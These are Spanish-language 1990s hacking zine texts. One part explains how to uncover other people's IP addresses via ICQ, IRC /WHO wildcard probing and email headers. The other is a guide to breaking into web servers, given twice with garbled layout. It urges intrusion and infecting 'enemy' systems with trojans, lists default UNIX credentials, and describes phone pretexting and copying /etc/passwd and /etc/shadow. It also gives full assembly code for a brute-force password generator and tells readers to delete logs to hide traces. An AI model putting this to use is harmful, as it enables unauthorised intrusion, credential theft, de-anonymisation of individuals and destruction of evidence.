Si deseas obtener el IP de alguien que está On Line en tu lista de ICQ, prueba lo siguiente: Haz click con el botón secundario del mouse sobre la persona de la que quieres obtener su IP. Selecciona "INFO" del menú desplegable que aparece. En la solapa "Main" hay un campo que dice "Current / Last IP:". En ese lugar dice el numero IP de la persona o aparece "N/A". Esto ultimo significa que esa persona configuró su ICQ para que oculte su IP. Existe un parche para el ICQ que elimina el "N/A" (para que el ICQ no vuelva a ocultarnos los IP). Dicho parche se encuentra en http://members.xoom.com/retrievefile/isoaq60.exe Lo más interesante es que ISOaQ funciona con muchas versiones diferentes del ICQ, y tiene además otras prestaciones interesantes. Nota de actualización: Esta version del ISOaQ es del 30/8/99 y no funciona con el ultimo ICQ. Pueden encontrar una version más nueva del ISOaQ en http://isoaq.da.ru 7) Cómo averiguar el IP de alguien a través del CHAT. Si estás en chateando en IRC, podés obtener el IP de la otra persona ingresando en la ventana de Status: "/whois Nick_Name" (sin comillas y remplazando Nick_Name por el apodo de esa persona) En algunos casos el IP aparece oculto (es decir, no aparece). Si es así tendremos que usar la técnica que transcribo a continuación: (Autor: Kadorna http://members.xoom.com/_XOOM/kadornakpo/Index2.html) ..."Como sacar la IP del server de ciudad sin ser @" (Nota: "@" significa moderador del canal) "En en el server de Ciudad Digital komo en otroz... cuando le haces un /WHOIS a alguien, te puede dar la IP o la HOST de esa persona, la verdad no se cual es el criterio por el cual te muestra una u otra. Pero a lo ke voy es ke aparecen enkripatadas. Ejemplos: 234.45.23.XXX xxxxxxxxxx.ciudad.com.ar Voy a pasar a explicar como averiguar las IPs sin ser @... para esto tomemos como ejemplo a Jorge ke esta en #Encuentros. Asi ke primero lo primero, en status ponemos... /WHOIS Jorge Jorge is [email protected] Jorge on #Encuentros #Conferencias #Maduritos Jorge using CIChatService Ciudad Exchange Chat Service Jorge End of /WHOIS list Komo veran entre la info ke nos da es server esta la IP de Jorge ke es 200.16.73.XXX, la pregunta es ke mierda hay detras de las Xz no? Bueno el siguiente paso es poner, siempre en Status... /WHO 200?16?73???? O sea hay ke poner ? en cada . (punto) y ? en cada X. Con esto lo ke hacemos es pedirle al servidor ke nos diga kienes son los usuarios ke su IP tienen el patron 200.16.73.??? Komo respuesta de este vamos a obtener una lista...

#Conferencias Jorge [email protected] :0 #Lesbianas Linda ~ [email protected] 200?16?73???? End of /WHO list Komo veran entre los listados esta nuestro amigo Jorge... el paso siguiente es probar con numeros en las posiciones donde estaban las X. Para tener en cuenta: Una IP puede tomar komo valor maxino 255.255.255.255. Asi ke al tratar de averiguarlas, no sean FORROS en el lugar de la primera X solo prueben con el 1 o 2. Bueno empezamos a probar... /WHO 200?16?73?0?? 200?16?73?0?? End of /WHO list /WHO 200?16?73?1?? #Lesbianas Linda ~ [email protected] 200?16?73?1?? End of /WHO list Bueno aca salio en la lista ke te envia el servidor el otro usuario cuya IP seguia el patron, pero esto a nosotros no nos importa estamos buscando a Jorge... asi ke seguimos /WHO 200?16?73?2?? #Conferencias Jorge [email protected] :0 200?16?73?2?? End of /WHO list Bueno parece ke encontramos el numero ke corresponde a la primera X, es el numero 2. Ahora pasamos al siguiente... WHO 200?16?73?20? 200?16?73?20?? End of /WHO list WHO 200?16?73?21? #Conferencias Jorge [email protected] :0 200?16?73?21? End of /WHO list Encontramos el segundo...!!! pasemos al tercer y ultimo numero WHO 200?16?73?210 200?16?73?210 End of /WHO list WHO 200?16?73?211 200?16?73?211 End of /WHO list WHO 200?16?73?212 200?16?73?212 End of /WHO list WHO 200?16?73?213 200?16?73?213 End of /WHO list WHO 200?16?73?214 #Conferencias Jorge [email protected] :0 200?16?73?214 End of /WHO list Bueno no hay mas ke decir... la IP es 200.16.73.214." 8) Cómo averiguar el IP de alguien a través de un e-mail recibido. Cuando te llega un mail a tu casilla y querés saber de que IP vino tenes quever el Header (o encabezado) del mail. Tengo que aclarar que de esta manera obtenemos el IP que tenía la computadora del emisor EN EL MOMENTO EN QUE ENVIÓ EL MAIL, y nada nos garantiza que esa persona aún esté bajo ese mismo IP.

Para ver el encabezado de un mensaje en Outlook Express tocá con el botón derecho del mouse en el e-mail y luego en "Propiedades/Detalles"). Por ejemplo, este es el encabezado de un mail cualquiera que me mandaron a mí: Received: from postino2.prima.com.ar - 200.42.0.133 by ciudad.com.ar with Microsoft SMTPSVC; Sun, 15 Aug 1999 15:32:57 -0300 Received: from ns1.houseware.com.ar ([196.32.70.161]) by postino2.prima.com.ar (8.9.1a/8.9.1) with SMTP id PAA26897 for <******@ciudad.com.ar>; Sun, 15 Aug 1999 15:33:44 -0300 (ART) Received: from [196.32.70.15] by ns1.houseware.com.ar with ESMTP id xa200665 for <******@******.com>; Sun, 15 Aug 1999 15:33:32 -0300 Message-ID: <002401bee74c$ca7134a0$0f4620c4@oemcomputer> From: "Irie" <***@*****.com> To: <******@******.com> Subject: Saludos! Date: Sun, 15 Aug 1999 15:33:31 -0300 Organization: Irie MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0021_01BEE733.87BE5A20" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2014.211 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 Cada línea que empieza con "Received:" indica que el mail pasó un servidor antes de llegar a destino. La línea de arriba de todo dice los datos de MI servidor de e-mail (o sea, la última máquina por la que pasó el mail antes de llegar a mí). La segunda línea que comienza con "Received:" indica el ante-ultimo servidor por el cual el mail pasó, (en este caso, es un servidor intermedio). Y de esta manera sigue la cadena hasta llegar a la ultima línea (recuerden que estamos hablando de las lineas que comienzan con "Received:") y que dice los datos del EMISOR del mensaje. En el ejemplo, esa línea dice: Received: from [196.32.70.15] by ns1.houseware.com.ar with ESMTP id xa200665 Y alli finalmente esta el IP buscado. Esa línea dice que CUANDO ENVIÓ ESTE MAIL estaba conectado en el IP 196.32.70.15. En resumen: Generalmente en un Header, sacando los datos que no nos interesan, se destaca esta estructura: Received: from INTERMEDIARIO_2 by SERVIDOR_MAIL_DESTINATARIO ... ... Received: from INTERMEDIARIO_1 by INTERMEDIARIO_2 ... ... Received: from SERVIDOR_MAIL_EMISOR by INTERMEDIARIO_1 ... ... Received: from IP_EMISOR by SERVIDOR_MAIL_EMISOR ... ... Si se lo lee de abajo hacia arriba, se puede ver la secuencia que siguio el mail que es: EMISOR --> SERVIDOR_MAIL_EMISOR --> INTERMEDIARIO_1 --> INTERMEDIARIO_2 --> SERVIDOR_MAIL_DESTINATARIO .

1

"Guia para crackear Websites & Homepages" por Le PomPaItor "Lo espantoso no es la altura, sino la pendiente. La pendiente donde la mirada se precipita a lo hondo y la mano se extiende hacia la cumbre. Alli es donde se apodera del corazon el vertigo de su doble voluntad." -Federico Nietzsche 1. Introduccion Si alguna vez has hechado a volar tu imaginacion se te habra ocurrido que seria comico remover algunas graficas de algun website, o mejor aun borrar toda la pagina de algun enemigo para deleitarte con tu venganza. Pues bien, este es el manual que te ayudara a lograrlo. Primero deberas entender que andar por ahi borrando paginas es *TONTO* e inmaduro. Lo que trato de hacer es que sientas la adrenalina de entrar a un sistema al que no estes autorizado y echar una ojeada alrededor. Si te dedicas a invadir sistemas y borrar archivos le quitaras el privilegio a otra persona de entrar a ese sistema ya que el operador se dara cuenta de la intrusion y aumentaran la seguridad negando asi la entrada a mas 'intrusos'. Si el sistema al que entraste pertenece a unos hijos de la chingada (Plantas Nucleares, Creadores de abrigos de piel, Agencias de Gobierno,etc) olvida lo antes dicho y haz que se arrepientan de haberse conectado a la red causando kaos o mejor aun, infectandolos con algun buen virus (por que no reemplazar un ejecutable por un caballo de troya?). En fin, usa tu cabeza y cuida de no ser sorprendido en tus viajes de kAoS. 2. Websites Un website es solamente una computadora llamada servidor por su capacidad de de realizar diferentes tareas al mismo tiempo, ejecutando un sistema operativo que generalmente sera UNIX o algunas de sus variaciones y con toda la informacion guardada en algun medio. 2.1 Ganando acceso a un servidor WWW Aqui reside la magia del Hacker, la proteccion comun son dos preguntas Login y Password. El usuario que tenga una cuenta en ese servidor tiene un nombre de usuario (Login) y contrase¤a (Password) por lo que la entrada a ese servidor no tiene problemas; pero para una persona ajena a ese servidor la entrada es un poco mas complicada. Para poder penetrar el sistema necesitamos saber su URL y una vez conectados con el explorador prestar atencion al mensaje waiting reply from 103.38.28 o algo parecido que haga aparecer una direccion IP en lugar de el nombre de dominio. Si lograste conseguir la direccion IP usa telnet para conectarte a esa direccion. Si cuando tratas de conectarte aparece el mensaje 'connection refused' probablemente este protegida esa direccion con una FIREWALL. Si este es el caso trata de hacer telnet a el nombre de dominio con la finalidad de llegar a el frustrante LOGIN/PASSWORD. Para entrar necesitas conseguir alguna cuenta haciendo algo de ingenieria social o intenta con los defaults. * CUENTAS DEFAULTS DE UNIX * Login: Password: root root root system sys sys sys system daemon daemon uucp uucp tty tty test test unix unix unix test bin bin adm adm adm admin admin adm admin admin sysman sysman sysman sys sysman system sysadmin sysadmin sysadmin sys sysadmin system sysadmin admin sysadmin adm who who learn learn uuhost uuhost guest guest host host nuucp nuucp

2 rje rje games games games player sysop sysop root sysop demo demo Si fracasas al intentar el acceso usando cada uno de los anteriores logins, probablemente tengas que conseguir el password de otra manera como relaciones humanas; esto significa que vas a tener que conseguir la clave valiendote de trucos como hablar por telefono a una persona que sepas que esta registrada en ese servidor y pedirle su Login y Password diciendo que necesitas validar su cuenta o algo parecido. Otra manera de conseguir un Password es crear un programa que robe las claves de acceso del disco duro de una persona. 3. Cuando se esta adentro Una vez que hayas logrado entrar a un sistema necesitaras localizar y obtener el archivo passwd disponible en el directorio /etc Para obtener el archivo PASSWD usa el siguiente ejemplo: ($ simboliza el prompt UNIX) $ ftp FTP> get /etc/passwd FTP> quit Para ver el contenido de el archivo usa el siguiente comando: $ cat /etc/passwd Una vez que tengas en tu posesion el archivo PASSWD editalo y fijate en su contenido, debera tener la siguiente informacion: usuario:contrase¤a:ID:Grupo:descripcion/nombre:directorio:shell usuario - Este es el login de algun usuario. contrase¤a - Es el password de el usuario (encriptada con DES) ID - Es la identificacion de ese usuario. grupo - El grupo al que pertenece esta cuenta. descripcion- El nombre del usuario. directorio - El directorio de acceso de el usuario. shell - El shell que procesa los comandos de ese usuario. Un ejemplo podria ser: john:234abc56:9999:13:John Johnson:/home/dir/john:/bin/john Nombre de usuario: john Password encriptado: 234abc56 Usuario numero: 9999 Numero de grupo: 13 Descripcion: John Johnson Directorio de acceso: /home/dir/john Shell: /bin/john Si el archivo que conseguiste contiene la misma informacion pero en el campo del password tiene un asterisco (*) o cualquier otro caracter, significa que las contrase¤as se encuentran 'sombreadas'. Si las contraseñas se encuentra sombreada,las podras encontrar en el archivo shadow aunque generalmente no se puede tener acceso a ese archivo a menos de tener root. Una forma de conseguir SHADOW es usando el comando cp para copiarlo a otro archivo y despues tratar de obtener el archivo al que se copio, ejemplo: $cp /etc/shadow /usuarios/carlos/hack.txt $ftp FTP> get /usuarios/carlos/hack.txt FTP> quit $rd /usuarios/carlos/hack.txt Algunas otras maneras de obtener el archivo SHADOW seran explicadas en otros numeros de RareGaZz. Ya tengo los passwords encriptados, ahora que? Los passwords estan encriptados usando one-way encription, significa que no se pueden des-encriptar. Lo que Unix hace es obtener la contraseña del usuario,la encripta y la compara con la que ya esta encriptada, si coinciden entonces se le permite el acceso. Para poder obtener las contraseñas es necesario tener un archivo con palabras y usar un programa para que encripte las palabras del archivo y las compare con las contrase¤as encriptadas,si coinciden te avisa que palabra fue la que coincidio con la contrase¤a encriptada. Algunos programas de este tipo son: Nombre Palabras por Segundo Computadora John the Ripper 5077 586 Starcracker 1300 586

3 Cracker Jack 1008 586 KillerCracker 350 586 Estos programas se encuentran disponibles en cualquier pagina de Hackers, si quieres la ultima version de StarCracker visita la siguiente URL: http://www.geocities.com/SiliconValley/park/8403/index.html Para conseguir listas de palabras haz FTP a el siguiente servidor: warwick.ac.uk directorio: /pub/cud Algunas de las palabras mas usadas en contraseñas son: aaa academia ada adrian aerobics airplane albany albatros albert alex alexander algebra alias alisa alpha alphabet ama amy analog anchor andy andrea animal answer anything arrow arthur ass asshole athena atmosphere bacchus badass bailey banana bandit banks bass batman beautiful beauty beaver daniel danny dave deb debbie deborah december desire desperate develop diet digital discovery disney dog drought duncan easy eatme edges edwin egghead eileen einstein elephant elizabeth ellen emerald engine engineer enterprise enzyme euclid evelyn extension fairway felicia fender finite format god hello idiot jester john johnny joseph joshua judith juggle julia kathleen kermit kernel knight lambda larry lazarus lee leroy lewis light lisa louis love lynne mac macintosh mack maggot martin marty marvin matt master maurice maximum merlin mets michael michelle mike minimum nicki nicole rascal really rebecca remote rick reagan robot robotics rolex ronald rose rosebud rosemary roses ruben rules ruth sal saxon scheme scott secret sensor serenity sex shark sharon shit shiva shuttle simon simple singer single singing smile smooch smother snatch snoopy soap socrates spit spring subway success summer super support surfer suzanne tangerine tape target taylor telephone temptation tiger tigger toggle tomato toyota trivial unhappy unicorn unknown urchin utility vicki virginia warren water weenie whatnot whitney will virgin

4 william winston willie wizard wonbat yosemite zap whatnow Obtuve algunas cuentas, ahora? Para poder hacer y deshacer en el servidor necesitas el password de la cuenta root. Si despues de intentar con algunas listas de palabras no puedes necesitaras hacer un ataque en bruto, es decir empezar desde la letra A hasta la palabra zzzzzzzz El siguiente programa necesita ser compilado usando TASM y es una lista de palabras TSR que no ocupa espacio en disco y puede ser modificada, es ideal para ataques brutos a la cuenta r00t_ (Programa Copiado de Phrack 47) P A S S W O R D E N G I N E (for IBM PC's) by Uncle Armpit +++++++++++++++++++++++++++++++++++++++++++++ Que tan practico es? Este programa no necesita mucho espacio en disco y puede crear listas de palabras de gran tama¤o. Con el ejemplo proporcionado, passwords empezando en 'aaaaaaa' y terminando en 'zzzzzzz' seran generados. Como empiezo a usar esta lista de palabras? Compila el codigo y nombralo "hackdrv.sys", despues necesitas configurarlo añadiendo la siguiente linea en CONFIG.SYS device=c:\hackdrv.sys Una vez en memoria el programa creara la lista de variables en memoria llamada HACKPWD. Cualquier programa que uses (excepto StarCracker) debera reconocer hackpwd como una lista de palabras y empezar a crackear. Si deseas reiniciar una sesion desde una combinacion especifica solo modifica el archivo HACKDRV.SYS con un editor HEXADECIMAL y modifica la cadena de caracteres con los que empieza ;-0 ;-----------------------cut here-------------------------------;Program HACKDRV.SYS ; org 0h next_dev dd -1 attribute dw 0c000h ;character device w/ ioctl calls strategy dw dev_strategy interrupt dw dev_int dev_name db 'HACKPWD ' countr dw offset number number db 'aaaaaa',0ah ;<---- 6 caracteres en minusculas (empiezo) numsize equ $-number - 2 afternum: ;working space for device driver rh_ofs dw ? rh_seg dw ? dev_strategy: ;strategy routine mov cs:rh_seg,es mov cs:rh_ofs,bx retf dev_int: ;interrupt routine pushf push ds push es push ax push bx push cx push dx push di push si cld push cs pop ds mov bx,cs:rh_seg mov es,bx mov bx,cs:rh_ofs mov al,es:[bx]+2 rol al,1 mov di,offset cmdtab xor ah,ah add di,ax jmp word ptr[di]

5 cmdtab: ;command table dw init ;0 dw exit3 ;1 dw exit3 ;2 dw ioctl_read ;3 dw do_read ;4 dw exit3 ;5 dw exit3 ;6 dw exit3 ;7 dw exit3 ;8 dw exit3 ;9 dw exit3 ;10 dw exit3 ;11 dw ioctl_write ;12 dw exit3 ;13 dw 5 dup (offset exit3) ioctl_read: push es push bx mov si,es:[bx+10h] mov di,es:[bx+0eh] mov es,si push cs pop ds mov si,offset number xor cx,cx get_char: lodsb stosb inc cl cmp al,0ah jz ioctl_rend jmp get_char ioctl_rend: pop bx pop es mov es:[bx+012h],cx mov cs:countr,offset number jmp exit2 ioctl_write: push es push bx mov si,es:[bx+010h] mov ds,si mov si,es:[bx+0eh] mov cx,numsize+1 ;es:[bx+012h] push cs pop es mov di,offset number repe movsb pop es pop bx mov cs:countr,offset number jmp exit2 do_read: push es push bx push cs pop ds

6 mov si,[countr] inc si ;word ptr [countr] cmp si,offset afternum jnz is_okay mov si,offset number call inc_num is_okay: mov [countr],si mov di,es:[bx]+0eh mov ax,es:[bx]+010h mov cx, es:[bx]+012h jcxz clean_up mov es,ax repe movsb clean_up: pop bx pop es jmp exit2 exit3: mov es:word ptr 3[bx],08103h jmp exit1 exit2: mov es:word ptr 3[bx],0100h exit1: pop si pop di pop dx pop cx pop bx pop ax pop es pop ds popf retf exit: inc_num proc near push si mov si,numsize reiterate: inc byte ptr [number+si] cmp byte ptr [number+si],'z'+1 ;+1 past ending char. in range jnz _exit mov byte ptr [number+si],'a' ;starting char. in range dec si cmp si,-1 jnz reiterate mov byte ptr [number],01ah ;send EOF _exit: pop si ret inc_num endp at_eof: ; the non-resident code starts here initial proc near push es push cs pop ds push cs pop es mov si,offset number mov di,offset tmpnum cld

7 _again: lodsb cmp al,0ah jz _nomorechars stosb jmp _again _nomorechars: mov si,offset msgend mov cx,4 repe movsb mov ah,09 ;print welcome message mov dx,offset msg1 int 21h pop es ret initial endp init: call initial mov ax,offset at_eof mov es:[bx]+0eh,ax push cs pop ax mov es:[bx]+010h,ax mov cs:word ptr cmdtab,offset exit3 jmp exit2 msg1 db "Incremental Password Generator (c)1995",0ah,0dh db "Written by Uncle Armpit",0ah,0dh,0ah,0dh db "Starting at word [" tmpnum db 10 dup (?) msgend db "]",0a,0d,'$' ;END hackdrv.sys ----------------------------------cut here---------------------------------Como limpiar tus huellas Si deseas que tu ingreso con la cuenta r00t no quede registrado en los LOGS de el servidor revisa los directorios buscando archivos como logs, syslog, log, o cualquiera que parezca que guarda un reporte de los accesos y borralos o mejor aun editalos usando el editor de archivos de UNIX. Para ejecutar el editor usa el comando vi Edita o borra los siguientes archivos: /etc/syslog /etc/log /etc/logs Existen algunos scripts para borrar las huellas como ZAP! disponibles en la red y en los proximos numeros de esta revista.

Le PompaItor

"Guia para crackear Websites & Homepages" por Le PomPaItor

"Lo espantoso no es La pendiente donde la la mano se extiende hacia del corazon el vertigo

la altura, sino la pendiente. mirada se precipita a lo hondo y la cumbre. Alli es donde se apodera de su doble voluntad." -Federico Nietzsche

1. Introduccion Si alguna vez has hechado a volar tu imaginacion se ocurrido que seria comico remover algunas graficas website, o mejor aun borrar toda la pagina de algun para deleitarte con tu venganza. Pues bien, este es que te ayudara a lograrlo.

te habra de algun enemigo el manual

Primero deberas entender que andar por ahi borrando paginas es *TONTO* e inmaduro. Lo que trato de hacer es que sientas la adrenalina de entrar a un sistema al que no estes autorizado y echar una ojeada alrededor. Si te dedicas a invadir sistemas y borrar archivos le quitaras el privilegio a otra persona de entrar a ese sistema ya que el operador se dara cuenta de la intrusion y aumentaran la seguridad negando asi la entrada a mas 'intrusos'. Si el sistema al que entraste pertenece a unos hijos de la chingada (Plantas Nucleares, Creadores de abrigos de piel, Agencias de Gobierno,etc) olvida lo antes dicho y haz que se arrepientan de haberse conectado a la red causando kaos o mejor aun, infectandolos con algun buen virus (por que no reemplazar un ejecutable por un caballo de troya?). En fin, usa tu cabeza y cuida de no ser sorprendido en tus viajes de kAoS.

2. Websites

Un website es solamente una computadora llamada servidor por su capacidad de de realizar diferentes tareas al mismo tiempo, ejecutando un sistema operativo que generalmente sera UNIX o algunas de sus variaciones y con toda la informacion guardada en algun medio. 2.1 Ganando acceso a un servidor WWW Aqui reside la magia del Hacker, la proteccion comun son dos preguntas Login y Password. El usuario que tenga una cuenta en ese servidor tiene un nombre de usuario (Login) y contrase¤a (Password) por lo que la entrada a ese servidor no tiene problemas; pero para una persona ajena a ese servidor la entrada es un poco mas complicada. Para poder penetrar el sistema necesitamos saber su URL y una vez conectados con el explorador prestar atencion al mensaje waiting reply from 103.38.28 o algo parecido que haga aparecer una direccion IP en lugar de el nombre de dominio. Si lograste conseguir la direccion IP usa telnet para conectarte a esa direccion. Si cuando tratas de conectarte aparece el mensaje 'connection refused' probablemente este protegida esa direccion con una FIREWALL. Si este es el caso trata de hacer telnet a el nombre de dominio con la finalidad de llegar a el frustrante LOGIN/PASSWORD. Para entrar necesitas conseguir alguna cuenta haciendo algo de ingenieria social o intenta con los defaults.

* CUENTAS DEFAULTS DE UNIX * Login:

Password:

root root sys sys daemon uucp tty test unix unix

root system sys system daemon uucp tty test unix test

bin adm adm admin admin sysman sysman sysman sysadmin sysadmin sysadmin sysadmin sysadmin who learn uuhost guest host nuucp rje games games sysop root demo

bin adm admin adm admin sysman sys system sysadmin sys system admin adm who learn uuhost guest host nuucp rje games player sysop sysop demo

Si fracasas al intentar el acceso usando cada uno de los anteriores logins, probablemente tengas que conseguir el password de otra manera como relaciones humanas; esto significa que vas a tener que conseguir la clave valiendote de trucos como hablar por telefono a una persona que sepas que esta registrada en ese servidor y pedirle su Login y Password diciendo que necesitas validar su cuenta o algo parecido. Otra manera de conseguir un Password es crear un programa que robe las claves de acceso del disco duro de una persona.

3. Cuando se esta adentro Una vez que hayas logrado entrar a un sistema necesitaras localizar y obtener el archivo passwd disponible en el directorio /etc

Para obtener el archivo PASSWD usa el siguiente ejemplo: ($ simboliza el prompt UNIX) $ ftp FTP> get /etc/passwd FTP> quit Para ver el contenido de el archivo usa el siguiente comando: $ cat /etc/passwd Una vez que tengas en tu posesion el archivo PASSWD editalo y fijate en su contenido, debera tener la siguiente informacion: usuario:contrase¤a:ID:Grupo:descripcion/nombre:directorio:she ll usuario contrase¤a DES) ID grupo descripciondirectorio shell usuario.

Este es el login de algun usuario. Es el password de el usuario (encriptada con Es El El El El

la identificacion de ese usuario. grupo al que pertenece esta cuenta. nombre del usuario. directorio de acceso de el usuario. shell que procesa los comandos de ese

Un ejemplo podria ser: john:234abc56:9999:13:John Johnson:/home/dir/john:/bin/john Nombre de usuario: john Password encriptado: 234abc56 Usuario numero: 9999 Numero de grupo: 13 Descripcion: John Johnson Directorio de acceso: /home/dir/john Shell: /bin/john Si el archivo que conseguiste contiene la misma informacion pero en el campo del password tiene un asterisco (*) o cualquier otro caracter, significa que las contrase¤as se encuentran 'sombreadas'.

Si las contraseñas se encuentra sombreada,las podras encontrar en el archivo shadow aunque generalmente no se puede tener acceso a ese archivo a menos de tener root. Una forma de conseguir SHADOW es usando el comando cp para copiarlo a otro archivo y despues tratar de obtener el archivo al que se copio, ejemplo: $cp /etc/shadow /usuarios/carlos/hack.txt $ftp FTP> get /usuarios/carlos/hack.txt FTP> quit $rd /usuarios/carlos/hack.txt Algunas otras maneras de obtener el archivo SHADOW seran explicadas en otros numeros de RareGaZz. Ya tengo los passwords encriptados, ahora que? Los passwords estan encriptados usando one-way encription, significa que no se pueden des-encriptar. Lo que Unix hace es obtener la contraseña del usuario,la encripta y la compara con la que ya esta encriptada, si coinciden entonces se le permite el acceso. Para poder obtener las contraseñas es necesario tener un archivo con palabras y usar un programa para que encripte las palabras del archivo y las compare con las contrase¤as encriptadas,si coinciden te avisa que palabra fue la que coincidio con la contrase¤a encriptada. Algunos programas de este tipo son: Nombre John the Ripper Starcracker Cracker Jack KillerCracker

Palabras por Segundo 5077 1300 1008 350

Computadora 586 586 586 586

Estos programas se encuentran disponibles en cualquier pagina de Hackers, si quieres la ultima version de StarCracker visita la siguiente URL: http://www.geocities.com/SiliconValley/park/8403/index.html

Para conseguir listas de palabras haz FTP a el siguiente servidor: warwick.ac.uk directorio: /pub/cud Algunas de las palabras mas usadas en contraseñas son: aaa aerobics albatros albert alias alphabet ama andy anything asshole badass banks beautiful beauty dave december diet dog eatme eileen elizabeth ellen engineer enterprise extension finite idiot joseph julia knight lee lisa mac martin master mets minimum really reagan ronald

academia airplane

ada albany

adrian

alex alisa

alexander alpha

algebra

amy andrea arrow athena bailey bass

analog animal arthur atmosphere banana batman

anchor answer ass bacchus bandit

beaver deb desire digital drought edges einstein

daniel debbie desperate discovery duncan edwin elephant

danny deborah develop disney easy egghead

emerald

engine

enzyme fairway format jester joshua kathleen lambda leroy louis macintosh marty maurice michael nicki rebecca robot rose

euclid felicia god john judith kermit larry lewis love mack marvin maximum michelle nicole remote robotics rosebud

evelyn fender hello johnny juggle kernel lazarus light lynne maggot matt merlin mike rascal rick rolex

rosemary roses sal secret shark shuttle single smother socrates success surfer target temptation tiger toyota unknown virginia whatnot william wonbat

ruben saxon sensor sharon simon singing snatch spit summer suzanne taylor

rules scheme serenity shit simple smile snoopy spring super tangerine telephone

ruth scott sex shiva singer smooch soap subway support tape

tigger trivial urchin warren whitney winston yosemite

toggle unhappy utility water will willie zap

tomato unicorn vicki weenie virgin wizard whatnow

Obtuve algunas cuentas, ahora? Para poder hacer y deshacer en el servidor necesitas el password de la cuenta root. Si despues de intentar con algunas listas de palabras no puedes necesitaras hacer un ataque en bruto, es decir empezar desde la letra A hasta la palabra zzzzzzzz El siguiente programa necesita ser compilado usando TASM y es una lista de palabras TSR que no ocupa espacio en disco y puede ser modificada, es ideal para ataques brutos a la cuenta r00t (Programa Copiado de Phrack 47) P A S S W O R D E N G I N E (for IBM PC's) by Uncle Armpit +++++++++++++++++++++++++++++++++++++++++++++ Que tan practico es? Este programa no necesita mucho espacio en disco y puede crear listas de palabras de gran tama¤o.

Con el ejemplo proporcionado, passwords empezando en 'aaaaaaa' y terminando en 'zzzzzzz' seran generados. Como empiezo a usar esta lista de palabras? Compila el codigo y nombralo "hackdrv.sys", despues necesitas configurarlo añadiendo la siguiente linea en CONFIG.SYS device=c:\hackdrv.sys Una vez en memoria el programa creara la lista de variables en memoria llamada HACKPWD. Cualquier programa que uses (excepto StarCracker) debera reconocer hackpwd como una lista de palabras y empezar a crackear. Si deseas reiniciar una sesion desde una combinacion especifica solo modifica el archivo HACKDRV.SYS con un editor HEXADECIMAL y modifica la cadena de caracteres con los que empieza ;-0 ;-----------------------cut here------------------------------;Program HACKDRV.SYS ; org 0h next_dev dd -1 attribute dw 0c000h ;character device w/ ioctl calls strategy dw dev_strategy interrupt dw dev_int dev_name db 'HACKPWD ' countr dw offset number number db 'aaaaaa',0ah ;<---- 6 caracteres en minusculas (empiezo) numsize equ $-number - 2 afternum: ;working space for device driver rh_ofs dw ? rh_seg dw ? dev_strategy: mov cs:rh_seg,es mov cs:rh_ofs,bx retf

;strategy routine

dev_int: pushf push ds push es push ax push bx push cx push dx push di push si

;interrupt routine

cld push cs pop ds mov bx,cs:rh_seg mov es,bx mov bx,cs:rh_ofs mov rol mov xor add jmp

al,es:[bx]+2 al,1 di,offset cmdtab ah,ah di,ax word ptr[di]

cmdtab: ;command table dw init ;0 dw exit3 ;1 dw exit3 ;2 dw ioctl_read ;3 dw do_read ;4 dw exit3 ;5 dw exit3 ;6 dw exit3 ;7 dw exit3 ;8 dw exit3 ;9 dw exit3 ;10 dw exit3 ;11 dw ioctl_write ;12 dw exit3 ;13 dw 5 dup (offset exit3)

ioctl_read: push es push bx mov si,es:[bx+10h] mov di,es:[bx+0eh] mov es,si push cs pop ds mov si,offset number xor cx,cx get_char: lodsb stosb inc cl cmp al,0ah jz ioctl_rend jmp get_char ioctl_rend: pop bx pop es mov es:[bx+012h],cx mov cs:countr,offset number jmp exit2 ioctl_write: push es push bx mov si,es:[bx+010h] mov ds,si mov si,es:[bx+0eh] mov cx,numsize+1 push cs pop es mov di,offset number repe movsb pop es pop bx mov cs:countr,offset number jmp exit2 do_read: push es

;es:[bx+012h]

push bx push cs pop ds mov si,[countr] inc si cmp si,offset afternum jnz is_okay mov si,offset number call inc_num

;word ptr [countr]

is_okay: mov [countr],si mov di,es:[bx]+0eh mov ax,es:[bx]+010h mov cx, es:[bx]+012h jcxz clean_up mov es,ax repe movsb clean_up: pop bx pop es jmp exit2 exit3: mov es:word ptr 3[bx],08103h jmp exit1 exit2: mov es:word ptr 3[bx],0100h exit1: pop si pop di pop dx pop cx pop bx pop ax pop es pop ds popf retf exit:

inc_num proc near push si mov si,numsize reiterate: inc byte ptr [number+si] cmp byte ptr [number+si],'z'+1 range jnz _exit mov byte ptr [number+si],'a' dec si cmp si,-1 jnz reiterate mov byte ptr [number],01ah _exit: pop si ret inc_num endp

at_eof: here initial proc near push es push cs pop ds push cs pop es mov si,offset number mov di,offset tmpnum cld _again: lodsb cmp al,0ah jz _nomorechars stosb jmp _again _nomorechars: mov si,offset msgend mov cx,4 repe movsb

;+1 past ending char. in ;starting char. in range

;send EOF

; the non-resident code starts

mov ah,09 mov dx,offset msg1 int 21h

;print welcome message

pop es ret initial endp init: call initial mov ax,offset at_eof mov es:[bx]+0eh,ax push cs pop ax mov es:[bx]+010h,ax mov cs:word ptr cmdtab,offset exit3 jmp exit2 msg1

db "Incremental Password Generator (c)1995",0ah,0dh db "Written by Uncle Armpit",0ah,0dh,0ah,0dh db "Starting at word [" tmpnum db 10 dup (?) msgend db "]",0a,0d,'$' ;END hackdrv.sys ----------------------------------cut here--------------------------------Como limpiar tus huellas Si deseas que tu ingreso con la cuenta r00t no quede registrado en los LOGS de el servidor revisa los directorios buscando archivos como logs, syslog, log, o cualquiera que parezca que guarda un reporte de los accesos y borralos o mejor aun editalos usando el editor de archivos de UNIX. Para ejecutar el editor usa el comando vi Edita o borra los siguientes archivos: /etc/syslog /etc/log /etc/logs Existen algunos scripts para borrar las huellas como ZAP! disponibles en la red y en los proximos numeros de esta revista.

Le PompaItor

1

